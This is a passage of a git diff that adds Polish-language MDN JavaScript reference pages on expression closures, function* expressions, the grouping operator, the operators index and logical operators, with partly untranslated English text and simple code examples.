href="http://whereswalden.com/2015/06/20/new-changes-to-make-spidermonkeys-and-firefoxs-parsing-of-destructuring-patterns-more-spec-compliant/">post Jeffa Waldena </a>oraz {{bug(1146136)}} aby uzyskać więcej informacji.</li> +</ul> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Assignment operators</a></li> + <li><a href="https://hacks.mozilla.org/2015/05/es6-in-depth-destructuring/">"ES6 in Depth: Destructuring" on hacks.mozilla.org</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/domknięcia_wyrażeń/index.html b/files/pl/web/javascript/referencje/operatory/domknięcia_wyrażeń/index.html new file mode 100644 index 0000000000..66cf07b36c --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/domknięcia_wyrażeń/index.html @@ -0,0 +1,78 @@ +--- +title: Domknięcia wyrażeń +slug: Web/JavaScript/Referencje/Operatory/Domknięcia_wyrażeń +tags: + - JavaScript + - Operator + - funkcja + - niestandardowe + - przestarzały +translation_of: Archive/Web/JavaScript/Expression_closures +--- +<div>{{JSSidebar("Operators")}}{{Non-standard_Header}}{{Obsolete_Header("gecko60")}} +<div class="warning"><strong>Niestandardowe. Nie używać!</strong><br> +Składnia domknięcia wyrażeń jest przestarzałą funkcją specyficzną dla Firefoxa i została usunięta od Firefoxa 60. Dla obecnie tworzonych rozwiązań rozważ użycie <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">funkcji strzałkowych</a>.</div> +</div> + +<p>Domknięcia wyrażeń są skróconą składnią dla zapisu prostych funkcji.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">function [nazwa]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) + <em>wyrażenie</em> +</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>nazwa</code></dt> + <dd>Nazwa funkcji. Może być pominięta w przypadku, gdy funkcja jest <em>anonimowa</em>. Nazwa jest lokalna i ograniczona jedynie do ciała funkcji.</dd> + <dt><code>paramN</code></dt> + <dd>Nazwa argumentu, który ma być przekazany do funkcji. Funkcja może mieć do 255 argumentów.</dd> + <dt><code>wyrażenie</code></dt> + <dd>Wyrażenie, które zawiera ciało funkcji.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Ten dodatek nie jest niczym więcej niż skróconą notacją dla prostych funkcji, która daje językowi coś podobnego do typowej <a class="external" href="http://en.wikipedia.org/wiki/Lambda_calculus#Lambda_calculus_and_programming_languages">notacji lambda</a>.</p> + +<p>JavaScript 1.7 i starsze:</p> + +<pre class="brush: js">function(x) { return x * x; }</pre> + +<p>JavaScript 1.8:</p> + +<pre class="brush: js">function(x) x * x</pre> + +<p>Taka składnia pozwala na pominięcie nawiasów klamrowych i wyrażenia <code>return</code>, czyniąc je niejawnymi. Poza skróceniem zapisu, nie ma innych korzyści z pisania kodu w ten sposób.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Skrócony zapis dla dowiązywania obserwatorów zdarzeń (ang. <em>event listeners</em>):</p> + +<pre class="brush: js"> document.addEventListener('click', function() false, true); +</pre> + +<p>Użycie tej notacji z niektórymi z funkcji strzałkowych z JavaScript 1.6:</p> + +<pre class="brush: js">elems.some(function(elem) elem.type == 'text'); +</pre> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.operators.expression_closures")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{JSxRef("Functions_and_function_scope", "Functions and function scope")}}</li> + <li>{{JSxRef("Function")}}</li> + <li>{{JSxRef("Statements/function", "function statement")}}</li> + <li>{{JSxRef("Operators/function", "function expression")}}</li> + <li>{{JSxRef("Statements/function*", "function* statement")}}</li> + <li>{{JSxRef("Operators/function*", "function* expression")}}</li> + <li>{{JSxRef("GeneratorFunction")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/function_star_/index.html b/files/pl/web/javascript/referencje/operatory/function_star_/index.html new file mode 100644 index 0000000000..52d7a67c98 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/function_star_/index.html @@ -0,0 +1,90 @@ +--- +title: wyrażenie function* +slug: Web/JavaScript/Referencje/Operatory/function* +tags: + - ECMAScript2015 + - Iterator + - JavaScript + - Operator + - funkcja +translation_of: Web/JavaScript/Reference/Operators/function* +--- +<div>{{jsSidebar("Operators")}}</div> + +<p>Słowo kluczowe <strong><code>function*</code></strong> może być użyte do zdefiniowania funkcji generatora wewnątrz wyrażenia.</p> + +<div>{{EmbedInteractiveExample("pages/js/expressions-functionasteriskexpression.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">function* [nazwa]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) { + wyrażenia +}</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>nazwa</code></dt> + <dd>Nazw funkcji. Może być pominięta w przyadku funkcji <em>anonimowych</em>. Nazwa jest lokalna i ograniczona do ciała funkcji.</dd> + <dt><code>paramN</code></dt> + <dd>Nazwa argumentu przekazywanego do funkcji. Funkcja może mieć do 255 argumentów.</dd> + <dt><code>wyrażenia</code></dt> + <dd>Wyrażenia, które zawiera ciało funkcji.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Wyrażenie <code>function*</code> jest bardzo podobne i ma niemal taką samą składnię jak {{jsxref('Statements/function*', 'polecenie function*')}}. Zasadnicza różnica między wyrażenem <code>function*</code> a poleceniem <code>function*</code> to <em>nazwa funkcji</em>, która może być pominięta w wyrażeniach <code>function*</code>, co pozwala na tworzenie anonimowych funkcji generatorów. Zobacz również rozdział o <a href="/en-US/docs/Web/JavaScript/Reference/Functions">funkcjach</a>, aby dowiedzieć się więcej.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Następujący przykład definiuje nienazwaną funkcję generatora i przypisuje ją do <code>x</code>. Funkcja zwraca przekazany argument podniesiony do kwadratu.</p> + +<pre class="brush: js">var x = function*(y) { + yield y * y; +}; +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-generator-function-definitions', 'function*')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-generator-function-definitions', 'function*')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.operators.function_star")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Statements/function*", "function* statement")}}</li> + <li>{{jsxref("GeneratorFunction")}} object</li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li> + <li>{{jsxref("Operators/yield", "yield")}}</li> + <li>{{jsxref("Operators/yield*", "yield*")}}</li> + <li>{{jsxref("Function")}} object</li> + <li>{{jsxref("Statements/function", "function statement")}}</li> + <li>{{jsxref("Operators/function", "function expression")}}</li> + <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/grouping/index.html b/files/pl/web/javascript/referencje/operatory/grouping/index.html new file mode 100644 index 0000000000..5a076c3fb0 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/grouping/index.html @@ -0,0 +1,90 @@ +--- +title: Operator grupowania +slug: Web/JavaScript/Referencje/Operatory/Grouping +tags: + - JavaScript + - Operator +translation_of: Web/JavaScript/Reference/Operators/Grouping +--- +<div>{{jsSidebar("Operators")}}</div> + +<p>Operator grupowania <code>( )</code> pozwala na określenie kolejności wykonywania działań w wyrażeniach.</p> + +<div>{{EmbedInteractiveExample("pages/js/expressions-groupingoperator.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"> ( )</pre> + +<h2 id="Opis">Opis</h2> + +<p>Operator grupowania składa się z pary nawiasów otaczających wyrażenie lub podwyrażenie. Pozwala na nadpisanie standardowego <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Operatory/Pierwsze%C5%84stwo_operator%C3%B3w">pierwszeństwa operatorów</a>, tak że wyrażenia z niższym piorytetem mogą być wykonane przed wyrażeniami z wyższym priorytetem. Zgodnie z nazwą, operator ten grupuje wyrażenia znajdujące się w nawiasach.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Nadpisanie zasady wykonywania mnożenia i dzielenia przed dodawaniem i odejmowaniem w taki sposób, by dodawanie wykonane było jako pierwsze.</p> + +<pre class="brush:js">var a = 1; +var b = 2; +var c = 3; + +// domyślna kolejność +a + b * c // 7 +// wykonywana domyślnie w taki sposób +a + (b * c) // 7 + +// zmiana kolejności wykonywania działań +// dodawanie przed mnożeniem +(a + b) * c // 9 + +// co odpowiada wyrażeniu +a * c + b * c // 9 +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-grouping-operator', 'The Grouping Operator')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-grouping-operator', 'The Grouping Operator')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.1.6', 'The Grouping Operator')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES1', '#sec-11.1.4', 'The Grouping Operator')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.0.</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.operators.grouping")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Operatory/Pierwsze%C5%84stwo_operator%C3%B3w">Pierwszeństwo operatorów</a></li> + <li>{{jsxref("Operators/delete", "delete")}}</li> + <li>{{jsxref("Operators/typeof", "typeof")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/index.html b/files/pl/web/javascript/referencje/operatory/index.html new file mode 100644 index 0000000000..016c55af35 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/index.html @@ -0,0 +1,282 @@ +--- +title: Operatory +slug: Web/JavaScript/Referencje/Operatory +tags: + - JavaScript + - Operators +translation_of: Web/JavaScript/Reference/Operators +--- +<div>{{jsSidebar("Operators")}}</div> + +<p>This chapter documents all the JavaScript language operators, expressions and keywords.</p> + +<h2 id="Wyrażenia_i_operatory_w_podziale_na_kategorie">Wyrażenia i operatory w podziale na kategorie</h2> + +<h2 id="sect1"> </h2> + +<h2 id="Lista_operatorów_w_kolejności_alfabetycznej_znajduje_sie_w_pasku_bocznym_po_lewej_stronie."><span style="font-size: 14px; font-weight: normal;">Lista operatorów w kolejności alfabetycznej znajduje sie w pasku bocznym po lewej stronie.</span></h2> + +<h3 id="Wyrażenia_podstawowe">Wyrażenia podstawowe</h3> + +<p>Podstawowe słowa kluczowe i wyrażenia w JavaScript.</p> + +<dl> + <dt>{{jsxref("Operator/this", "this")}}</dt> + <dd>Słowo <code>this</code> odnosi się do kontekstu wywołania.</dd> + <dt>{{jsxref("Operator/function", "function")}}</dt> + <dd>Słowo <code>function</code> umożliwia zdefniowanie wyrażenia funkcji .</dd> + <dt>{{experimental_inline}} {{jsxref("Operatory/class", "class")}}</dt> + <dd>Słowo <code>class</code> definiuje wyrażenie klasy.</dd> + <dt>{{experimental_inline}} {{jsxref("Operatory/function*", "function*")}}</dt> + <dd>The <code>function*</code> keyword defines a generator function expression.</dd> + <dt>{{experimental_inline}} {{jsxref("Operatory/yield", "yield")}}</dt> + <dd>Pause and resume a generator function</dd> + <dt>{{experimental_inline}} {{jsxref("Operatory/yield*", "yield*")}}</dt> + <dd>Delegate to another generator function or iterable object.</dd> + <dt>{{jsxref("Global_Objecty/Array", "[]")}}</dt> + <dd>Array initializer/literal syntax.</dd> + <dt>{{jsxref("Operatory/Object_initializer", "{}")}}</dt> + <dd>Object initializer/literal syntax.</dd> + <dt>{{jsxref("RegExp", "/ab+c/i")}}</dt> + <dd>Regular expression literal syntax.</dd> + <dt>{{experimental_inline}} {{jsxref("Operatory/Array_comprehensions", "[for (x of y) x]")}}</dt> + <dd>Array comprehensions.</dd> + <dt>{{experimental_inline}} {{jsxref("Operatory/Generator_comprehensions", "(for (x of y) y)")}}</dt> + <dd>Generator comprehensions.</dd> + <dt>{{jsxref("Operatory/Grouping", "( )")}}</dt> + <dd>Grouping operator.</dd> +</dl> + +<h3 id="Left-hand-side_expressions">Left-hand-side expressions</h3> + +<p>Left values are the destination of an assignment.</p> + +<dl> + <dt>{{jsxref("Operatory/Property_accessors", "Property accessors", "", 1)}}</dt> + <dd>Member operators provide access to a property or method of an object<br> + (<code>object.property</code> and <code>object["property"]</code>).</dd> + <dt>{{jsxref("Operatory/new", "new")}}</dt> + <dd>The <code>new</code> operator creates an instance of a constructor.</dd> + <dt>{{experimental_inline}} {{jsxref("Operatory/super", "super")}}</dt> + <dd>The <code>super</code> keyword calls the parent constructor.</dd> + <dt>{{experimental_inline}} {{jsxref("Operatory/Spread_operator", "...obj")}}</dt> + <dd>The spread operator allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.</dd> +</dl> + +<h3 id="Increment_and_decrement">Increment and decrement</h3> + +<p>Postfix/prefix increment and postfix/prefix decrement operators.</p> + +<dl> + <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "A++", "#Inkrementacja")}}</dt> + <dd>Postfix increment operator.</dd> + <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "A--", "#Dekrementacja")}}</dt> + <dd>Postfix decrement operator.</dd> + <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "++A", "#Inkrementacja")}}</dt> + <dd>Prefix increment operator.</dd> + <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "--A", "#Dekrementacja")}}</dt> + <dd>Prefix decrement operator.</dd> +</dl> + +<h3 id="Unary_operators">Unary operators</h3> + +<p>A unary operation is operation with only one operand.</p> + +<dl> + <dt>{{jsxref("Operatoryy/delete", "delete")}}</dt> + <dd>The <code>delete</code> operator deletes a property from an object.</dd> + <dt>{{jsxref("Operatory/void", "void")}}</dt> + <dd>The <code>void</code> operator discards an expression's return value.</dd> + <dt>{{jsxref("Operatory/typeof", "typeof")}}</dt> + <dd>The <code>typeof</code> operator determines the type of a given object.</dd> + <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "+", "#Unary_plus")}}</dt> + <dd>The unary plus operator converts its operand to Number type.</dd> + <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "-", "#Unary_negation")}}</dt> + <dd>The unary negation operator converts its operand to Number type and then negates it.</dd> + <dt>{{jsxref("Operatory/Bitwise_Operators", "~", "#Bitwise_NOT")}}</dt> + <dd>Bitwise NOT operator.</dd> + <dt>{{jsxref("Operatory/Logical_Operators", "!", "#Logical_NOT")}}</dt> + <dd>Logical NOT operator.</dd> +</dl> + +<h3 id="Operatory_arytmetyczne">Operatory arytmetyczne</h3> + +<h3 id="Arithmetic_operators_take_numerical_values_(either_literals_or_variables)_as_their_operands_and_return_a_single_numerical_value."><span style="font-size: 14px;">Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value.</span></h3> + +<dl> + <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "+", "#Addition")}}</dt> + <dd>Addition operator.</dd> + <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "-", "#Subtraction")}}</dt> + <dd>Subtraction operator.</dd> + <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "/", "#Division")}}</dt> + <dd>Division operator.</dd> + <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "*", "#Multiplication")}}</dt> + <dd>Multiplication operator.</dd> + <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "%", "#Remainder")}}</dt> + <dd>Remainder operator.</dd> +</dl> + +<h3 id="Operatory_porównania">Operatory porównania</h3> + +<p>Operator porównania, jak nazwa wskazuje, porównuje operandy i zwraca wartość logiczną zależną od tego, czy wartość porównania jest prawdziwa. </p> + +<dl> + <dt>{{jsxref("Operatory/in", "in")}}</dt> + <dd>Operator <code>in</code> ustala, czy obiekt posiada daną właściwość.</dd> + <dt>{{jsxref("Operatory/instanceof", "instanceof")}}</dt> + <dd>Operator <code>instanceof</code> ustala czy obiekt jest instancją innego obiektu.</dd> + <dt>{{jsxref("Operatory/Comparison_Operators", "<", "#Less_than_operator")}}</dt> + <dd>Less than operator.</dd> + <dt>{{jsxref("Operatory/Comparison_Operators", ">", "#Greater_than_operator")}}</dt> + <dd>Greater than operator.</dd> + <dt>{{jsxref("Operatory/Comparison_Operators", "<=", "#Less_than_or_equal_operator")}}</dt> + <dd>Less than or equal operator.</dd> + <dt>{{jsxref("Operatory/Comparison_Operators", ">=", "#Greater_than_or_equal_operator")}}</dt> + <dd>Greater than or equal operator.</dd> +</dl> + +<h3 id="Equality_operators">Equality operators</h3> + +<p>The result of evaluating an equality operator is always of type <code>Boolean</code> based on whether the comparison is true.</p> + +<dl> + <dt>{{jsxref("Operatory/Comparison_Operators", "==", "#Equality")}}</dt> + <dd>Equality operator.</dd> + <dt>{{jsxref("Operatory/Comparison_Operators", "!=", "#Inequality")}}</dt> + <dd>Inequality operator.</dd> + <dt>{{jsxref("Operatory/Comparison_Operators", "===", "#Identity")}}</dt> + <dd>Identity operator.</dd> + <dt>{{jsxref("Operatory/Comparison_Operators", "!==", "#Nonidentity")}}</dt> + <dd>Nonidentity operator.</dd> +</dl> + +<h3 id="Bitwise_shift_operators">Bitwise shift operators</h3> + +<p>Operations to shift all bits of the operand.</p> + +<dl> + <dt>{{jsxref("Operatory/Bitwise_Operators", "<<", "#Left_shift")}}</dt> + <dd>Bitwise left shift operator.</dd> + <dt>{{jsxref("Operatory/Bitwise_Operators", ">>", "#Right_shift")}}</dt> + <dd>Bitwise right shift operator.</dd> + <dt>{{jsxref("Operatory/Bitwise_Operators", ">>>", "#Unsigned_right_shift")}}</dt> + <dd>Bitwise unsigned right shift operator.</dd> +</dl> + +<h3 id="Binary_bitwise_operators">Binary bitwise operators</h3> + +<p>Bitwise operators treat their operands as a set of 32 bits (zeros and ones) and return standard JavaScript numerical values.</p> + +<dl> + <dt>{{jsxref("Operatory/Bitwise_Operators", "&", "#Bitwise_AND")}}</dt> + <dd>Bitwise AND.</dd> + <dt>{{jsxref("Operatory/Bitwise_Operators", "|", "#Bitwise_OR")}}</dt> + <dd>Bitwise OR.</dd> + <dt>{{jsxref("Operatory/Bitwise_Operators", "^", "#Bitwise_XOR")}}</dt> + <dd>Bitwise XOR.</dd> +</dl> + +<h3 id="Binary_logical_operators">Binary logical operators</h3> + +<p>Logical operators are typically used with boolean (logical) values, and when they are, they return a boolean value.</p> + +<dl> + <dt>{{jsxref("Operatory/Logical_Operators", "&&", "#Logical_AND")}}</dt> + <dd>Logical AND.</dd> + <dt>{{jsxref("Operatory/Logical_Operators", "||", "#Logical_OR")}}</dt> + <dd>Logical OR.</dd> +</dl> + +<h3 id="Conditional_(ternary)_operator">Conditional (ternary) operator</h3> + +<dl> + <dt>{{jsxref("Operatory/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}</dt> + <dd> + <p>The conditional operator returns one of two values based on the logical value of the condition.</p> + </dd> +</dl> + +<h3 id="Assignment_operators">Assignment operators</h3> + +<p>An assignment operator assigns a value to its left operand based on the value of its right operand.</p> + +<dl> + <dt>{{jsxref("Operatory/Assignment_Operators", "=", "#Assignment")}}</dt> + <dd>Assignment operator.</dd> + <dt>{{jsxref("Operatory/Assignment_Operators", "*=", "#Multiplication_assignment")}}</dt> + <dd>Multiplication assignment.</dd> + <dt>{{jsxref("Operatory/Assignment_Operators", "/=", "#Division_assignment")}}</dt> + <dd>Division assignment.</dd> + <dt>{{jsxref("Operatory/Assignment_Operators", "%=", "#Remainder_assignment")}}</dt> + <dd>Remainder assignment.</dd> + <dt>{{jsxref("Operatory/Assignment_Operators", "+=", "#Addition_assignment")}}</dt> + <dd>Addition assignment.</dd> + <dt>{{jsxref("Operatory/Assignment_Operators", "-=", "#Subtraction_assignment")}}</dt> + <dd>Subtraction assignment</dd> + <dt>{{jsxref("Operatory/Assignment_Operators", "<<=", "#Left_shift_assignment")}}</dt> + <dd>Left shift assignment.</dd> + <dt>{{jsxref("Operatory/Assignment_Operators", ">>=", "#Right_shift_assignment")}}</dt> + <dd>Right shift assignment.</dd> + <dt>{{jsxref("Operators/Assignment_Operators", ">>>=", "#Unsigned_right_shift_assignment")}}</dt> + <dd>Unsigned right shift assignment.</dd> + <dt>{{jsxref("Operatory/Assignment_Operators", "&=", "#Bitwise_AND_assignment")}}</dt> + <dd>Bitwise AND assignment.</dd> + <dt>{{jsxref("OperatorsyAssignment_Operators", "^=", "#Bitwise_XOR_assignment")}}</dt> + <dd>Bitwise XOR assignment.</dd> + <dt>{{jsxref("Operatory/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}</dt> + <dd>Bitwise OR assignment.</dd> + <dt>{{experimental_inline}} {{jsxref("Operatory/Destructuring_assignment", "[a, b] = [1, 2]")}}<br> + {{experimental_inline}} {{jsxref("Operatory/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</dt> + <dd> + <p>Destructuring assignment allows you to assign the properties of an array or object to variables using syntax that looks similar to array or object literals.</p> + </dd> +</dl> + +<h3 id="Comma_operator">Comma operator</h3> + +<dl> + <dt>{{jsxref("Operatory/Comma_Operator", ",")}}</dt> + <dd>The comma operator allows multiple expressions to be evaluated in a single statement and returns the result of the last expression.</dd> +</dl> + +<h3 id="Non-standard_features">Non-standard features</h3> + +<dl> + <dt>{{non-standard_inline}} {{jsxref("Operatory/Legacy_generator_function", "Legacy generator function", "", 1)}}</dt> + <dd>The <code>function</code> keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contains at least one {{jsxref("Operators/yield", "yield")}} expression.</dd> + <dt>{{non-standard_inline}} {{jsxref("Operatory/Expression_closures", "Expression closures", "", 1)}}</dt> + <dd>The expression closure syntax is a shorthand for writing simple function.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>ECMAScript 1st Edition.</td> + <td>Standard</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11', 'Expressions')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>New: Spread operator, destructuring assignment, <code>super</code> keyword, Array comprehensions, Generator comprehensions</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">Operator precedence</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/logical_operators/index.html b/files/pl/web/javascript/referencje/operatory/logical_operators/index.html new file mode 100644 index 0000000000..ce5c7bc211 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/logical_operators/index.html @@ -0,0 +1,253 @@ +--- +title: Operatory logiczne +slug: Web/JavaScript/Referencje/Operatory/Logical_Operators +translation_of: Web/JavaScript/Reference/Operators +--- +<div>{{jsSidebar("Operators")}}</div> + +<div>Operatory logiczne są zazwyczaj używane z wartościami typu {{jsxref("Boolean")}} (logicznymi) – wówczas zwracają również wartość typu logicznego. Jednakże operatory <code>&&</code> i <code>||</code> w istocie zwracają wartość jednego z podanych operandów, więc jeśli operatory te są używane z wartościami nie-boolowskimi, wtedy mogą również zwracać nie-boolowskie wartości.</div> + +<div></div> + +<div>{{EmbedInteractiveExample("pages/js/expressions-logicaloperator.html")}}</div> + + + +<h2 id="Opis">Opis</h2> + +<p>Operatory logiczne są opisane w poniższej tabeli:</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Operator</th> + <th>Użycie</th> + <th>Opis</th> + </tr> + <tr> + <td>Logiczne AND (<code>&&</code>)</td> + <td><code><em>expr1</em> && <em>expr2</em></code></td> + <td>Zwraca <code>expr1</code> jeśli wartość ta może być przekonwertowana na <code>false</code>, w przeciwnym razie zwraca <code>expr2</code>. Zatem, używany z wartościami typu logicznego, operator <code>&&</code> zwraca <code>true</code> jeśli obydwa operandy mają wartość <code>true</code>, w przeciwnym razie zwraca <code>false</code>.</td> + </tr> + <tr> + <td>Logiczne OR (<code>||</code>)</td> + <td><code><em>expr1</em> || <em>expr2</em></code></td> + <td>Zwraca <code>expr1</code>, jeśli wartość ta może być przekonwertowana na <code>true</code>; w przeciwnym razie zwraca <code>expr2</code>. Tak więc, używany z wartościami typu logicznego, operator <code>||</code> zwraca <code>true</code> którykolwiek z operandów równy jest <code>true</code>.</td> + </tr> + <tr> + <td>Logiczne NOT (<code>!</code>)</td> + <td><code>!<em>expr</em></code></td> + <td>Zwraca <code>false</code> jeśli jego operand można przekonwertować na <code>true</code>; w przeciwnym razie zwraca <code>true</code>.</td> + </tr> + </tbody> +</table> + +<p>Jeśli dana wartość może być przekonwertowana na <code>true</code>, wówczas jest to tzw. wartość {{Glossary("truthy")}}. Jeśli dana wartość może być przekonwertowana na <code>false</code>, jest to tzw. wartość {{Glossary("falsy")}}.</p> + +<p>Przykładami wyrażeń, które mogą być przekonwertowane na <a href="/en-US/docs/Glossary/Falsy">false</a> są:</p> + +<ul> + <li><code>null</code>;</li> + <li><code>NaN;</code></li> + <li><code>0</code>;</li> + <li>pusty łańcuch znaków (string) – <code>""</code> lub <code>''</code>; </li> + <li><code>undefined</code>.</li> +</ul> + +<p>Mimo tego, że operatory <code>&&</code> i <code>||</code> mogą być używane z wartościami nie-boolowskimi, nadal mogą być uznane za operatory boolowskie (logiczne), gdyż zwracane przez nie wartości mogą być zawsze przekonwertowane na wartości logiczne.</p> + +<h3 id="Ewaluacja_short-circuit">Ewaluacja <em>short-circuit</em></h3> + +<p>Ponieważ wyrażenia logiczne są przetwarzane od lewej do prawej, sprawdzana jest najkrótsza możliwa ścieżka, pozwalająca na zwrócenie wyniku całego wyrażenia (tzw. <em>short-circuit evaluation</em>), zgodnie z następującymi zasadami:</p> + +<ul> + <li><code>false && (<em>cokolwiek)</em></code> zostanie przetworzone na false.</li> + <li><code>true || (<em>cokolwiek)</em></code> zostanie przetworzone na true.</li> +</ul> + +<p>Zasady logiki gwarantują, że powyższe ewaluacje są zawsze poprawne. Zauważ, że części wyrażeń oznaczone słowem <code>cokolwiek</code> nie są ewaluowane, więc nie pojawią się żadne efekty uboczne. Zauważ też, że część <code>cokolwiek</code> powyższych wyrażeń może być dowolnym pojedynczym wyrażeniem logicznym (co wskazano przez nawiasy).</p> + +<p>Dla przykładu, poniższe dwie funkcje są równoważne.</p> + +<pre class="brush: js">function shortCircuitEvaluation() { + // logiczne OR (||) + doSomething() || doSomethingElse(); + + // logiczne AND (&&) + doSomething() && doSomethingElse(); +} + +function equivalentEvaluation() { + + // logiczne OR (||) + var orFlag = doSomething(); + if (!orFlag) { + doSomethingElse(); + } + + + // logiczne AND (&&) + var andFlag = doSomething(); + if (andFlag) { + doSomethingElse(); + } +} +</pre> + +<p>Poniższe wyrażenia nie są jednak równoważne ze względu na <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Pierwsze%C5%84stwo_operator%C3%B3w">pierwszeństwo operatorów</a>, co podkreśla, jak ważne jest, by operator po prawej stronie był pojedynczym wyrażeniem (zgrupowanym w razie potrzeby przy pomocy nawiasów).</p> + +<pre class="brush: js">false && true || true // zwraca true +false && (true || true) // zwraca false</pre> + +<h3 id="Logiczne_AND"><a id="Logiczne AND" name="Logiczne AND">Logiczne AND (<code>&&</code>)</a></h3> + +<p>Poniżej pokazane są przykłady użycia operatora <code>&&</code> (logicznego AND).</p> + +<pre class="brush: js">a1 = true && true // t && t zwraca true +a2 = true && false // t && f zwraca false +a3 = false && true // f && t zwraca false +a4 = false && (3 == 4) // f && f zwraca false +a5 = 'Cat' && 'Dog' // t && t zwraca "Dog" +a6 = false && 'Cat' // f && t zwraca false +a7 = 'Cat' && false // t && f zwraca false +a8 = '' && false // f && f zwraca "" +a9 = false && '' // f && f zwraca false +</pre> + +<h3 id="Logiczne_OR"><a id="Logiczne OR" name="Logiczne OR">Logiczne OR (<code>||</code>)</a></h3> + +<p>Poniżej pokazane są przykłady użycia operatora <code>||</code> (logicznego OR).</p> + +<pre class="brush: js">o1 = true || true // t || t zwraca true +o2 = false || true // f || t zwraca true +o3 = true || false // t || f zwraca true +o4 = false || (3 == 4) // f || f zwraca false +o5 = 'Cat' || 'Dog' // t || t zwraca "Cat" +o6 = false || 'Cat' // f || t zwraca "Cat" +o7 = 'Cat' || false // t || f zwraca "Cat" +o8 = '' || false // f || f zwraca false +o9 = false || '' // f || f zwraca "" +</pre> + +<h3 id="Logiczne_NOT_!"><a id="Logiczne NOT" name="Logiczne NOT">Logiczne NOT 